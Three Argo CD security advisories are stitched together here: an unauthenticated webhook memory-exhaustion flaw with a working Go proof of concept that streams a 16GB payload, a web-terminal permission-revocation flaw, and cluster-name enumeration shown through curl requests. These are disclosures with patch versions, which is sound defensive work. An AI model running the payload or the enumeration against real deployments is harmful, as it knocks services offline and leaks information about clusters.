Summary This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.
Details The webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case "X-GitHub-Event: push") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.
The fix would be to enforce a limit on the size of the request being parsed.
PoC Port-forward to the argocd-server service, like so:
console kubectl port-forward svc/argocd-server -n argocd 8080:443
Run the below code:
go package main
import ( "crypto/tls" "io" "net/http" )
// Define a custom io.Reader that generates a large dummy JSON payload. type DummyJSONReader struct { size int64 // Total size to generate read int64 // Bytes already generated }
// Read generates the next chunk of the dummy JSON payload. func (r DummyJSONReader) Read(p []byte) (n int, err error) { if r.read >= r.size { return 0, io.EOF // Finished generating }
start := false if r.read == 0 { // Start of JSON p[0] = '{' p[1] = '"' p[2] = 'd' p[3] = 'a' p[4] = 't' p[5] = 'a' p[6] = '"' p[7] = ':' p[8] = '"' n = 9 start = true }
for i := n; i < len(p); i++ { if r.read+int64(i)-int64(n)+1 == r.size-1 { // End of JSON p[i] = '"' p[i+1] = '}' r.read += int64(i) + 2 - int64(n) return i + 2 - n, nil } else { p[i] = 'x' // Dummy data } }
r.read += int64(len(p)) - int64(n) if start { return len(p), nil } return len(p) - n, nil }
func main() { // Initialize the custom reader with the desired size (16GB in this case). payloadSize := int64(16) 1024 1024 1024 // 16GB reader := &DummyJSONReader{size: payloadSize}
// HTTP client setup httpClient := &http.Client{ Timeout: 0, // No timeout Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, }
req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader) if err != nil { panic(err) }
// Set headers req.Header.Set("Content-Type", "application/json") req.Header.Set("X-GitHub-Event", "push")
resp, err := httpClient.Do(req) if err != nil { panic(err) } defer resp.Body.Close()
println("Response status code:", resp.StatusCode) }
Patches A patch for this vulnerability has been released in the following Argo CD versions:
v2.11.6 v2.10.15 v2.9.20
For more information If you have any questions or comments about this advisory:
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits This vulnerability was found & reported by Jakub Ciolek
The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Argo CD has a Web-based terminal that allows users to get a shell inside a running pod, just as they would with kubectl exec. Starting in version 2.6.0, when the administrator enables this function and grants permission to the user p, role:myrole, exec, create, /, allow, even if the user revokes this permission, the user can still perform operations in the container, as long as the user keeps the terminal view open for a long time. Although the token expiration and revocation of the user are fixed, however, the fix does not address the situation of revocation of only user p, role:myrole, exec, create, /, allow permissions, which may still lead to the leakage of sensitive information. A patch for this vulnerability has been released in Argo CD versions 2.11.7, 2.10.16, and 2.9.21.
Impact It’s possible for authenticated users to enumerate clusters by name by inspecting error messages:
$ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z"}⏎ $ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorizati on: Bearer $token" {"error":"permission denied","code":7,"message":"permission denied"}
It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters. curl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z"}
curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied","code":7,"message":"permission denied"}
Patches A patch for this vulnerability has been released in the following Argo CD versions:
v2.11.3 v2.10.12 v2.9.17
For more information If you have any questions or comments about this advisory:
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)
The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue